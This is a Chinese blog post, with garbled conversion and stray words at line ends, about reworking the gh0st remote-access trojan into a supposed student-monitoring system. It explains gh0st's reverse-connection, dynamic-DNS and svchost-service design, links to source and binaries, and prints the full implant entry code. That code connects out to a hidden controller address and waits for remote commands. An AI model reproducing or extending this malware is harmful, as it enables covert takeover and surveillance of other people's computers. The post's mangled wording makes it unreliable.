前一段時間接到個私活,幫人開發 培訓機構的學員管理系統,實現學生上線,自動通知老師,老師能夠對學員的電腦進行屏幕分享和遠程操做 . 接到活以後,感受就是 遠控系統,在此基礎上增長一些學員管理的功能. 爲了快速開發,就打算在 最流行gh0st 項目上進行完善 . c++
準備 : gh0st 項目, 編譯環境: visual stdio2015 c++編程
gh0st項目是在vc6.0環境編譯,爲了適應後期功能添加,改爲了 visual stdio2015 環境編譯 .服務器
爲了詳細瞭解網絡編程 iocp 反彈鏈接 看了 "51cto 遠程控制視屏" 還有 "老狼的ghost教學視屏" ,也建議對網絡編程感興趣的同窗去看看網絡
下載鏈接以下:架構
老狼視屏: https://pan.baidu.com/s/1v6Ir2_6eKepQjRmx_38mWQapp
源碼與成品: 連接:https://pan.baidu.com/s/11Or6WJp-I1i0JHtAyv89-Q
socket
提取碼:聯繫 qq: 70583079 函數
好了下面直接上乾貨:gh0st是什麼,大概原理是什麼。ui
gh0st是一款基於C/S架構的遠程管理軟件(我只是就事論事,不想討論C/S架構過期或不過期)。所謂遠程管理,就是我在個人電腦上經過一些手段,能夠操做其餘電腦。什麼是C/S架構,C表示Client,S表示Server,也就是客戶端和服務端的意思。能夠這樣理解C/S,如今有兩臺電腦,一臺是Server,一臺是Client,server電腦就會開啓一個端口,並一直監聽這個端口中的信息。client來鏈接這個端口,鏈接成功後,兩臺機器就能互相發送信息了。(具體的原理建議你們去看socket通訊)google
gh0st用的是C/S架構中的反向鏈接。我用主控端和被控端來稱呼黑客的電腦和肉雞的電腦。反向鏈接的意思就是我主控端做爲server,被控端做爲client,主控端監聽一個固定的端口,並有一個固定的IP。而後被控端來鏈接這個IP的該端口,這就是所謂的上線。
在實際狀況中,黑客的電腦並非都有固定的IP,我在咱們寢室使用的是一個路由器,因而個人IP只是內網IP,192.168.x.x。並且,若是我換一個地方上網,IP也會變。這樣個人被控端是找不到個人IP的。因此不少遠控對待該問題,有兩個解決方案:
1.DNS上線
花生殼、3322提供了免費的動態域名服務,其實就是提供了DNS服務。咱們把本身的IP綁定到DNS服務器上,被控端經過對DNS的解析,找到主控端的IP,再鏈接。下次換地方上網了,只須要更改本身綁定到DNS上的IP便可。
2.FTP(HTTP)上線
咱們把本身的IP寫入一個文本文件1.txt,放在ftp(http)服務器上,好比ftp://leavesongs.com/1.txt。被控端去下載該txt,在其中找到主控端的IP。再鏈接。
固然gh0st對他們都是支持的。
再講講gh0st這個軟件的組成。老狼給的gh0st最終編譯好就是一個exe文件,點擊打開後是一個主控端的樣子:
在build選項卡中,填好相關信息,能夠生成一個exe文件,這就是所謂的被控端。
可是咱們打開源碼看,其實它是主要由三個部分組成,一是帶界面的主控端,一個是動態連接庫dll,一個是加載dll的exe。咱們被控端的全部功能都是寫在dll當中的。而並非寫在exe文件中。
大局觀大概就是這些。再說一下gh0st核心內容。
在傳輸數據方面,主控端使用IOCP模型,關於該模型請google。在主控端中,由CIOCPServer類實現。在被控端中,數據傳輸使用CClientSocket類實現。數據傳輸是遠控的核心,因此這兩個類也就成了gh0st的核心類。固然,在傳輸過程當中,gh0st使用zlib進行壓縮,減少數據包的大小。
在被控端管理方面,gh0st使用了一個很好的方案。先作了一個CManager類,做爲全部管理功能的基類,其餘的好比系統管理類CSystenManager就繼承了CManager。大大地增長了代碼的重用性。
在主控端方面,有這樣一個回調函數NotifyProc,全部被控端發來的消息,都會通過此函數,在該函數中使用switch語句,處理各個消息。使得代碼看起來層次分明。
在穩定性方面,被控端宿主爲svchost以系統服務啓動,並有守護線程,用心跳包機制防止之外掉線。
服務端代碼:
// svchost.cpp : Defines the entry point for the console application. // #include "ClientSocket.h" #include "common/KernelManager.h" #include "common/KeyboardManager.h" #include "common/login.h" #include "common/install.h" #include "common/until.h" enum { NOT_CONNECT, // 尚未鏈接 GETLOGINFO_ERROR, CONNECT_ERROR, HEARTBEATTIMEOUT_ERROR }; #define HEART_BEAT_TIME 1000 * 60 * 3 // 心跳時間 char svcname[MAX_PATH]; LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) { return 0; } // 必定要足夠長 int main() { return 0; } int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ) { CKeyboardManager::g_hInstance = (HINSTANCE)hInstance; CKeyboardManager::m_dwLastMsgTime = GetTickCount(); CKeyboardManager::Initialization(); // lpServiceName,在ServiceMain返回後就沒有了 char strServiceName[256]; char strKillEvent[50]; HANDLE hInstallMutex = NULL; char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); if (lpURL == NULL) { return -1; } ////////////////////////////////////////////////////////////////////////// // Set Window Station HWINSTA hOldStation = GetProcessWindowStation(); HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if (hWinSta != NULL) SetProcessWindowStation(hWinSta); // ////////////////////////////////////////////////////////////////////////// if (CKeyboardManager::g_hInstance != NULL) { SetUnhandledExceptionFilter(bad_exception); wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 隨機事件名 hInstallMutex = CreateMutex(NULL, true, lpURL); } // 告訴操做系統:若是沒有找到CD/floppy disc,不要彈窗口嚇人 SetErrorMode( SEM_FAILCRITICALERRORS); char *lpszHost = NULL; DWORD dwPort = 80; char *lpszProxyHost = NULL; DWORD dwProxyPort = 0; char *lpszProxyUser = NULL; char *lpszProxyPass = NULL; HANDLE hEvent = NULL; CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; // 斷開鏈接的緣由,初始化爲尚未鏈接 while (1) { // 若是不是心跳超時,不用再sleep兩分鐘 if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { // 2分鐘斷線重連, 爲了儘快響應killevent for (int i = 0; i < 2000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } // 改一下 Sleep(60); } } // 上線間隔爲2分, 前6個'A'是標誌 if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost, &dwProxyPort, &lpszProxyUser, &lpszProxyPass)) { bBreakError = GETLOGINFO_ERROR; continue; } if (lpszProxyHost != NULL) socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); else socketClient.setGlobalProxyOption(); DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost, dwPort)) { bBreakError = CONNECT_ERROR; continue; } // 登陸 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient , strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端發送激活命令,超時爲10秒,從新鏈接,以防鏈接錯誤 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); } // 10秒後尚未收到控制端發來的激活命令,說明對方不是控制端,從新鏈接 if (!manager.IsActived()) continue; ////////////////////////////////////////////////////////////////////////// DWORD dwIOCPEvent; dwTickCount = GetTickCount(); do { hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); Sleep(500); } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } } return 0; }